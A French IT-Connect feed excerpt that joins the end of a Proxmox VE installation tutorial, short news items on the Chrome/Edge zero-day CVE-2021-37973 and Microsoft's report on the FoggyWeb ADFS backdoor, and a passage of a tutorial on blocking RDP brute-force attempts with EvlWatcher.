<p><img class="aligncenter size-full wp-image-46344" src="media/632022ba.tuto-installer-proxmox-21.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-21.jpg" alt="" width="697" height="160" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-21.jpg 697w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-21-550x126.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-21-150x34.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-21-160x37.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-21-50x11.jpg 50w" sizes="(max-width: 697px) 100vw, 697px" /></p>
<p>Nous sommes à la dernière étape où nous avons le droit à un résumé. Si cela vous convient, cliquez sur "<strong>Finish</strong>" pour créer la machine virtuelle. Cela n'installe pas le système d'exploitation dans la VM, mais la machine sera prête à l'installation.</p>
<p><img class="aligncenter size-full wp-image-46343" src="media/9f45daa4.tuto-installer-proxmox-22.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-22.jpg" alt="" width="696" height="508" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-22.jpg 696w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-22-550x401.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-22-150x109.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-22-160x117.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-22-50x36.jpg 50w" sizes="(max-width: 696px) 100vw, 696px" /></p>
<p>Notre VM est alors créé et nous pouvons à présent la retrouver dans notre node (partie de gauche de l'interface).</p>
<p><img class="aligncenter size-large wp-image-46373" src="media/d03f4340.tuto-installer-proxmox-30-800x514.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-30-800x514.jpg" alt="" width="800" height="514" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-30-800x514.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-30-550x353.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-30-150x96.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-30-768x493.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-30-160x103.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-30-50x32.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-30.jpg 1025w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>VI. Premier démarrage de notre VM sous Proxmox</h2>
<p>Pour pouvoir lancer la VM nouvellement créée, il suffit de faire un clic droit sur l’icône de la machine dans le menu de gauche et de sélectionner "<strong>Start</strong>".</p>
<p><img class="aligncenter size-full wp-image-46350" src="media/7ea99957.tuto-installer-proxmox-23.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-23.jpg" alt="" width="333" height="332" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-23.jpg 333w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-23-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-23-160x160.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-23-50x50.jpg 50w" sizes="(max-width: 333px) 100vw, 333px" /></p>
<p>L’autre option est de la sélectionner la VM, comme nous venons de le faire, puis de sélectionner « <strong>Start</strong> » en haut à droite de l’écran. D’ailleurs, ce menu comporte un bouton « <strong>More </strong>» qui permet de détruire une machine et son stockage associé, c'est-à-dire le disque virtuel. <strong>Ce menu permet aussi de créer un Template (c'est-à-dire un modèle de VM), que l'on pourra cloner à souhait (plutôt pratique).</strong></p>
<p><img class="aligncenter size-full wp-image-46349" src="media/9a1ec441.tuto-installer-proxmox-24.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-24.png" alt="" width="449" height="43" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-24.png 449w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-24-150x14.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-24-160x15.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-24-50x5.png 50w" sizes="(max-width: 449px) 100vw, 449px" /></p>
<p>Une fois la machine démarrée, nous avons accès aux métriques en sélectionnant « <strong>Summary</strong> » (charge CPU, RAM, espace de stockage, etc.). De la même façon, il est possible de suivre l’état de votre hyperviseur en sélectionnant : « <strong>Datacenter</strong> » puis « <strong>Summary</strong> ».</p>
<p><img class="aligncenter size-large wp-image-46348" src="media/c30a3777.tuto-installer-proxmox-25-800x515.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-25-800x515.png" alt="" width="800" height="515" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-25-800x515.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-25-550x354.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-25-150x97.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-25-768x495.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-25-160x103.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-25-50x32.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-25.png 938w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Pour accéder à la machine virtuelle ou au conteneur</strong>, il suffit de double-cliquer sur son icône dans le menu de gauche. Cette manipulation ouvre une fenêtre qui donne un accès à l’interface graphique de la machine virtuelle. Une alternative est d'utiliser le menu supérieur en haut à droite et sélectionner « <strong>Console</strong> ».</p>
<p><img class="aligncenter size-full wp-image-46351" src="media/1045f873.tuto-installer-proxmox-26.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-26.jpg" alt="" width="642" height="542" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-26.jpg 642w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-26-550x464.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-26-150x127.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-26-160x135.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-installer-proxmox-26-50x42.jpg 50w" sizes="(max-width: 642px) 100vw, 642px" /></p>
<p>Sur la capture d'écran ci-dessus, on peut voir une flèche sur le côté gauche, celle-ci permet d’avoir accès à des options supplémentaires de la VM, telles que :</p>
<ul>
<li>Mettre en plein écran</li>
<li>Activer une combinaison de touche (CTRL+ALT+SUPPR)</li>
<li>Démarrage, arrêt, rafraichir l’interface</li>
<li>Etc.</li>
</ul>
<blockquote><p><strong>Note</strong> : sous Linux, si vous utiliser <strong>CTRL+W</strong> pour une recherche avec l'éditeur "nano", la fenêtre va se fermer sans pour autant éteindre la VM, il faut alors sélectionner <strong>[A]</strong>, puis <strong>[CTRL]</strong>, puis après votre touche <strong>[W]</strong> afin de permettre la recherche. Une fois le mot trouvé, désactivez la fonctionnalité.</p></blockquote>
<p><strong>Il ne reste plus qu'à procéder à l'installation du système d'exploitation, que ce soit du Linux ou du Windows !</strong></p>
<h2>VII. Conclusion</h2>
<p><strong>Vous disposez à présent d’un hyperviseur Proxmox vous permettant de créer des machines virtuelles, mais aussi des conteneurs.</strong></p>
<p>Pour finaliser complètement l'installation et avoir quelque chose de prêt pour la production, il reste quelques étapes à accomplir. Je pense notamment à la création des comptes d’administration (pour ne pas utiliser "root"), l'activation de la double authentification, mais aussi la sécurisation du serveur en lui-même (accès SSH, fail2ban, etc.).</p>The post <a href="https://www.it-connect.fr/comment-installer-proxmox-ve-7-0-et-creer-sa-premiere-vm/">Comment installer Proxmox VE 7.0 et créer sa première VM ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46477
title: Une faille Zero-Day activement exploitée touche Chrome et Edge !
uri: Une-faille-Zero-Day-activement-exploitée-touche-Chrome-et-Edge
url:
https://www.it-connect.fr/cve-2021-37973-une-faille-zero-day-activement-exploitee-touche-chrome-et-edge/

content:
<p><strong>Vendredi, Google Chrome et Microsoft Edge ont reçu une mise à jour de sécurité à installer rapidement, car elle corrige une faille Zero-Day activement exploitée par les pirates ! Son petit nom : CVE-2021-37973.</strong></p>
<p>Cette vulnérabilité touche Chromium, le navigateur qui sert de base à Chrome et à Edge, mais aussi à d'autres navigateurs comme Brave. Ce sont des membres de l'équipe Google Security qui ont découvert cette faille, notamment Clément Lecigne avec l'aide de Sergei Glazunov et Mark Brand.</p>
<p>La vulnérabilité CVE-2021-37973 se situe dans la fonctionnalité Portals et elle est de type <a href="https://encyclopedia.kaspersky.com/glossary/use-after-free/" target="_blank" rel="nofollow noopener"><em>Use-After-Free</em></a> (UAF), qui correspond à une utilisation incorrecte de la mémoire au moment où le programme libère l'espace mémoire, à cause d'u<strong>n pointeur qui n'est pas réinitialisé correctement</strong>.</p>
<p>Lorsque le pirate parvient à exploiter à distance cette faille de sécurité, il peut <strong>exécuter du code arbitraire sur la machine cible</strong>.</p>
<p>Si vous utilisez Google Chrome, vous devez passer en version <strong>94.0.4606.61</strong>, tandis qu'avec Edge, il faut viser la version <strong>94.0.992.31</strong>. Il est<strong> recommandé de mettre à jour votre navigateur dès maintenant</strong>, car Google semble avoir des preuves que cette faille zero-day est déjà exploitée dans le cadre d'attaques.</p>
<p><a href="https://www.neowin.net/news/latest-chrome-and-edge-stable-channel-builds-fix-critical-memory-uaf-security-vulnerability/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/cve-2021-37973-une-faille-zero-day-activement-exploitee-touche-chrome-et-edge/">Une faille Zero-Day activement exploitée touche Chrome et Edge !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46514
title: FoggyWeb, un nouveau malware qui s’attaque aux serveurs ADFS
uri: FoggyWeb-un-nouveau-malware-qui-s-attaque-aux-serveurs-ADFS
url: https://www.it-connect.fr/foggyweb-un-nouveau-malware-qui-sattaque-aux-serveurs-adfs/
content:
<p><strong>Microsoft a découvert que le groupe de hackers Nobelium utilisait un nouveau malware pour s'attaquer aux serveurs ADFS des entreprises, dans le but de créer une porte dérobée et de récupérer des informations.</strong></p>
<p>Nobelium, ce n'est pas seulement un élément chimique, c'est surtout le groupe de hackers qui est derrière les attaques menées contre SolarWinds l'année dernière. Ils sont également connus sous le nom d'APT29. Cette fois-ci, Nobelium s'en prend directement à Microsoft en s'attaquant aux serveurs ADFS de ses clients.</p>
<p>Repéré par les chercheurs du Microsoft Threat Intelligence Center (MSTIC), <strong>ce nouveau malware surnommé FoggyWeb</strong>, abuse du fonctionnement des jetons SAML (<em>Security Assertion Markup Language</em>) pour tromper votre serveur ADFS. <strong>Pour qu'un serveur soit compromis, il faut déjà que les attaquants parviennent à obtenir des identifiants avec des privilèges élevés sur votre serveur ADFS</strong>, ce qui complexifie l'attaque (et c'est tant mieux).</p>
<p>Ensuite, lorsqu'un serveur ADFS est compromis, deux fichiers sont déposés sur le serveur :</p>
<ul>
<li><span class="inner-wrap">%WinDir%\ADFS\version.dll</span></li>
<li class=""><span class="inner-wrap">%WinDir%\SystemResources\Windows.Data.TimeZones\pris\Windows.Data.TimeZones.zh-PH.pri</span></li>
</ul>
<p>FoggyWeb est intégré dans le fichier chiffré "<em class="">Windows.Data.TimeZones.zh-PH.pri" </em>alors que le fichier "<em>version.dll</em>" joue plutôt le rôle de loader. Une fois que cette DLL est chargée par le processus lié à ADFS (<em>Microsoft.IdentityServer.ServiceHost.exe)</em>, FoggyWeb est déchiffré en mémoire et il s'exécute dans le contexte du processus ADFS.</p>
<p>Ce malware est conçu pour aider les attaquants à récupérer des informations sensibles à distance, à partir des serveurs ADFS compromis. Pour cela, <strong>plusieurs Listener HTTP sont mis en place sur des URI légitimes vis-à-vis de la configuration de votre serveur ADFS</strong> (par exemple : "<span class="inner-wrap"><em class="x-hidden-focus">/adfs/portal/images/theme/light01/profile.webp")</em></span>, afin de réceptionner les requêtes GET/POST envoyées au serveur ADFS.</p>
<p>En retour,<strong> la porte dérobée va renvoyer des informations aux pirates puisque chaque URL correspond à un ordre spécifique.</strong> Par exemple, si le pirate envoie une requête GET sur l'URI "<em>/adfs/portal/images/theme/light01/profile.webp", </em>FoggyWeb sait qu'il doit exfiltrer le certificat qui permet de chiffrer les jetons.</p>
<figure id="attachment_46515" aria-describedby="caption-attachment-46515" style="width: 800px" class="wp-caption aligncenter"><img class="size-large wp-image-46515" src="media/43142d62.schema-foggyweb-2021-800x341.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/schema-foggyweb-2021-800x341.png" alt="" width="800" height="341" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/schema-foggyweb-2021-800x341.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/schema-foggyweb-2021-550x234.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/schema-foggyweb-2021-150x64.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/schema-foggyweb-2021-768x327.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/schema-foggyweb-2021-160x68.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/schema-foggyweb-2021-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/schema-foggyweb-2021.png 975w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46515" class="wp-caption-text">Source : microsoft.com</figcaption></figure>
<p>Vous l'aurez compris, quand la backdoor est en place, elle récupère la configuration du serveur ADFS, déchiffre les certificats qui permettent de signer et déchiffrer les jetons SAML, mais elle peut aussi servir à exécuter des composants additionnels à partir du serveur C2 (<em>Command &amp; Control</em>) auquel elle est connectée.</p>
<p>Il s'avère que <strong>les hackers du groupe Nobelium utilisent le malware FoggyWeb depuis le mois d'Avril 2021</strong>. Microsoft a publié <a href="https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/" target="_blank" rel="nofollow noopener">un rapport très complet sur son site</a> au sujet de FoggyWeb. C'est au sein de cet article et de <strong>la section "<em>Mitigations</em>" que vous pourrez trouver la longue liste de recommandations pour se protéger</strong>.</p>
<p>Il n'y a pas de correctif à installer, et il n'y en aura surement pas, car le malware tire tout simplement profit du fonctionnement du portail d'authentification ADFS. Microsoft précise également que Microsoft Defender détecte le loader sous le nom "<em>Trojan:Win32/FoggyWeb.A!dha" </em>et la backdoor sous le nom "<em>Trojan:MSIL/FoggyWeb.A!dha".</em></p>
<p><a href="https://www.bleepingcomputer.com/news/security/microsoft-nobelium-uses-custom-malware-to-backdoor-windows-domains/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/foggyweb-un-nouveau-malware-qui-sattaque-aux-serveurs-adfs/">FoggyWeb, un nouveau malware qui s’attaque aux serveurs ADFS</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46158
title: Comment bloquer les attaques Brute Force RDP avec EvlWatcher ?
uri: Comment-bloquer-les-attaques-Brute-Force-RDP-avec-EvlWatcher
url: https://www.it-connect.fr/comment-bloquer-les-attaques-brute-force-rdp-avec-evlwatcher/
content:
<h2>I. Présentation</h2>
<p><strong>Dans ce tutoriel, nous allons voir comment bloquer les attaques Brute Force sur le service RDP (Bureau à distance) d'une machine Windows avec l'outil gratuit EvlWatcher.</strong></p>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/Lwq-6m5uSKE" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>
<p>Les attaques par brute force sont très courantes sur les services populaires comme le RDP ou le SSH. C'est d'autant plus vrai si vous décidez d'exposer sur Internet le service RDP d'un serveur. Bien souvent, lorsque l'on se connecte sur un serveur Windows pour l'administrer, on le fait à partir du client "<em>Bureau à distance</em>" et du protocole RDP. Donc, cela représente une porte d'entrée potentielle pour les pirates.</p>
<p>Si l'attaque est effectuée sur un compte utilisateur existant au sein de l'Active Directory, il y a des chances pour que le compte soit verrouillé au bout d'un certain nombre de tentatives. Encore que, ça dépend de votre politique à ce sujet.</p>
<p>Pour <strong>protéger son serveur Windows contre les attaques de type "<em>Brute Force</em>" sur le service RDP</strong>, il y a plusieurs pistes à explorer :</p>
<ul>
<li><strong>Utiliser un port d'écoute différent pour le RDP</strong> : remplacer le port 3389 par un autre port pour tenter de masquer le service. Voir ce tutoriel : <a href="https://www.it-connect.fr/configurer-le-rdp-par-gpo-activer-lacces-port-par-defaut-regle-de-pare-feu/" target="_blank" rel="noopener">modifier le port RDP par GPO</a></li>
<li><strong>Mettre en place la double authentification (MFA) au niveau du RDP</strong> : il existe différentes solutions, comme le logiciel <em>UserLock</em> de chez <em>IS Decisions</em>. Voir ce tutoriel : <a href="https://www.it-connect.fr/windows-rdp-et-authentification-multifacteur-mfa-avec-userlock/" target="_blank" rel="noopener">mise en place de la double authentification avec UserLock</a></li>
<li><strong>Bannir les adresses IP effectuent des attaques par Brute Force</strong> : c'est ce que nous allons voir avec la mise en place du logiciel EvlWatcher</li>
</ul>
<p><strong>La question que l'on peut se poser, c'est "<em>pourquoi EvlWatcher et pas un autre outil ?</em>".</strong> Pour faire simple, il est gratuit, son code source est disponible sur GitHub, il s'installe très rapidement et il fonctionne suffisamment bien pour que je vous en parle !</p>
<p>EvlWatcher va permettre de <strong>détecter les attaques par Brute Force</strong> sur votre machine Windows en <strong>analysant les journaux d'événements</strong> de Windows et en <strong>bloquant les adresses IP malveillantes à l'aide du pare-feu</strong> de Windows. C'est en quelque sorte un fail2ban pour Windows qui surveille le service RDP.</p>
<p>J'aurais pu également vous proposer ma propre solution basée sur PowerShell puisque l'on peut lire les logs avec <em>Get-EventLog</em> et que l'on peut agir sur le pare-feu avec <em>Set-NetFirewallRule</em>. Mais, pour le moment, elle n'existe pas et je suis tombé sur EvlWatcher.</p>
<h2>II. Prise en main d'EvlWatcher</h2>
<p>Commençons par télécharger <strong>EvlWatcher</strong> sur GitHub, tout en sachant qu'il est mis à jour de temps en temps. Ce qui est rassurant.</p>
<ul>
<li><a href="https://github.com/devnulli/EvlWatcher/releases" target="_blank" rel="noopener">Télécharger EvlWatcher</a></li>
</ul>
<p>Vous obtiendrez un exécutable très léger : procédez à l'installation, deux trois clics suffisent. Il faut savoir que par défaut l'outil s'installe dans "<strong>C:\Program Files (x86)\EvlWatcher</strong>" et qu'il crée un service nommé "<strong>EvlWatcher service</strong>" sur la machine.</p>
<p>Dans le menu Démarrer, vous allez trouver un raccourci nommé "<em>EvlWatcherConsole</em>" qui donne accès à l'interface de gestion du logiciel. Voici à quoi elle ressemble :</p>
<figure id="attachment_46160" aria-describedby="caption-attachment-46160" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46160 size-large" src="media/9947e736.tuto-evlwatcher-01-800x636.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-01-800x636.png" alt="Aperçu de la console d'EvlWatcher" width="800" height="636" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-01-800x636.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-01-550x437.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-01-150x119.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-01-768x610.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-01-160x127.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-01-50x40.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-01.png 803w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46160" class="wp-caption-text">Aperçu de la console d'EvlWatcher</figcaption></figure>
<p>L'onglet "<strong>Currently banned</strong>" se découpe en trois parties :</p>
<ul>
<li><strong>Temporarily banned IPs</strong> : les adresses IP bannies temporaires, pour une durée limitée</li>
<li><strong>Permanently banned IPs</strong> : les adresses IP bannies définitivement (après plusieurs bannissements temporaires)</li>
<li><strong>White-Listed IP Patterns</strong> : les adresses IP ou les sous-réseaux en liste blanche</li>
</ul>
<p>Il est possible d'ajouter ou supprimer des adresses IP manuellement dans chaque section. C'est simple, mais efficace pour visualiser rapidement l'état des bannissements sur son serveur.</p>
<p>Au sein des règles de<strong> trafic entrant</strong> du pare-feu Windows, vous allez retrouver une règle nommée "<em>EvlWatcher</em>" qui est<strong> utilisée par le logiciel pour bloquer l'accès (sur tous les ports) aux adresses IP bannies</strong>.</p>
<figure id="attachment_46162" aria-describedby="caption-attachment-46162" style="width: 460px" class="wp-caption aligncenter"><img class="size-full wp-image-46162" src="media/de41fb8b.tuto-evlwatcher-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-02.png" alt="La règle de pare-feu d'EvlWatcher" width="460" height="578" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-02.png 460w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-02-119x150.png 119w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-02-127x160.png 127w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-02-40x50.png 40w" sizes="(max-width: 460px) 100vw, 460px" /><figcaption id="caption-attachment-46162" class="wp-caption-text">La règle de pare-feu d'EvlWatcher</figcaption></figure>
<p>L'onglet "<strong>Live</strong>" permet de suivre en live l'activité du logiciel. Lorsqu'une adresse IP est bannie, de nouveaux messages vont s'afficher :</p>
<pre>Temporarily banning 192.168.100.12, this is strike 2
Banned 192.168.100.12</pre>
<p>Cela signifie que l'adresse IP "<em>192.168.100.12</em>" a été bannie de façon temporaire pour la deuxième fois. Au bout de trois fois (selon la configuration par défaut), elle sera bannie définitivement.</p>
<p><img class="aligncenter size-large wp-image-46164" src="media/33869f97.tuto-evlwatcher-03-800x634.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-03-800x634.png" alt="" width="800" height="634" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-03-800x634.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-03-550x436.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-03-150x119.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-03-768x608.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-03-160x127.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-03-50x40.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-03.png 803w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>L'onglet "<strong>Global Settings</strong>" donne accès à quelques paramètres pour gérer les logs : niveau de log, nombre d'entrées dans le journal "<em>Live</em>" ainsi que l'intervalle d'actualisation des logs.</p>
<p>Enfin, l'onglet "<strong>Rule Tester</strong>" permet de tester une règle de détection. Vous choisissez une règle, vous collez le contenu du log à analyser au format XML (récupéré à partir de l'observateur d'événements) et vous pouvez tester si EvlWatcher détecte bien l'adresse IP.</p>
<p>C'est surtout utile si vous cherchez à ajouter au logiciel de nouvelles capacités de détection, car par défaut, pour le RDP, il s'appuie déjà sur 3 types d'événements différents (divers ID).</p>
<p><img class="aligncenter size-large wp-image-46165" src="media/1a03d5d1.tuto-evlwatcher-04-800x636.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-04-800x636.png" alt="" width="800" height="636" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-04-800x636.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-04-550x437.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-04-150x119.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-04-768x610.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-04-160x127.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-04-50x40.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-04.png 804w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Voyons ce que donne EvlWatcher dans la pratique.</p>
<h2>III. Tester l'efficacité d'EvlWatcher</h2>
<p><strong>Le logiciel est installé sur ma machine et il est actif.</strong> Pour vérifier qu'il fonctionne bien, je vais <strong>simuler une attaque sur mon serveur</strong> protégé par EvlWatcher.</p>
<p>Pour cela, il me suffit d'ouvrir le client Bureau à distance et d'essayer de me connecter en RDP sur mon serveur en utilisant de mauvais identifiants.</p>
<p><img class="aligncenter size-full wp-image-46168" src="media/44ca766f.tuto-evlwatcher-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-05.jpg" alt="" width="777" height="412" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-05.jpg 777w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-05-550x292.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-05-150x80.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-05-768x407.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-05-160x85.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-05-50x27.jpg 50w" sizes="(max-width: 777px) 100vw, 777px" /></p>
<p>Comme c'est la<strong> troisième fois que j'effectue une attaque à partir de ce serveur</strong> (<em>IP = 192.168.100.12</em>), je suis banni définitivement ! En temps normal, lors de la première attaque, l'hôte est banni temporairement. <strong>Par défaut, la durée du bannissement est de 3600 secondes, c'est-à-dire 1 heure.</strong></p>
<p><img class="aligncenter size-full wp-image-46169" src="media/a91e1c52.tuto-evlwatcher-06.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-06.png" alt="" width="670" height="256" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-06.png 670w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-06-550x210.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-06-150x57.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-06-160x61.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-evlwatcher-06-50x19.png 50w" sizes="(max-width: 670px) 100vw, 670px" /></p>
<p>Pour qu'une adresse IP soit considérée comme bannie, il faut effectuer <strong>5 tentatives de connexion en échec dans un délai de 3 minutes.</strong> Cela est modifiable, comme nous allons le voir dans la prochaine partie de ce tutoriel.</p>
<h2>IV. Configurer EvlWatcher</h2>
<p>Le logiciel EvlWatcher est préconfiguré, mais on peut personnaliser la configuration grâce au fichier XML suivant :</p>
<pre>C:\Program Files (x86)\EvlWatcher\config.xml</pre>
<p>À l'intérieur, nous retrouvons plusieurs sections où chaque section correspond à une règle de détection. Par exemple, nous avons la section "<em>&lt;Task Name="BlockRDPBrutersBySecurity4625" Active="true"&gt;</em>" et chaque section contient sa propre configuration pour définir la durée du bannissement, etc.</p>
<blockquote><p><strong>Note</strong> : à l'heure actuelle, EvlWatcher est fourni avec 3 règles de détection pour le RDP et une règle pour le SSH.</p></blockquote>
<p>Concrètement, il y a les paramètres suivants :</p>
<ul>
<li><strong>Durée en secondes pendant laquelle un hôte est banni (via le firewall Windows)</strong></li>
</ul>
<pre>&lt;LockTime&gt;
3600
&lt;/LockTime&gt;</pre>
<ul>
<li><strong>Pour bannir, tenir compte des événements des X dernières secondes pour chaque adresse IP, par défaut 120 secondes soit 3 minutes</strong></li>
</ul>
<pre>&lt;EventAge&gt;
120
&lt;/EventAge&gt;</pre>
<ul>
<li><strong>Bannir l'hôte distant au bout de X tentatives en échecs, par défaut 5</strong> (<em>dans le délai imparti défini par EventAge</em>)</li>
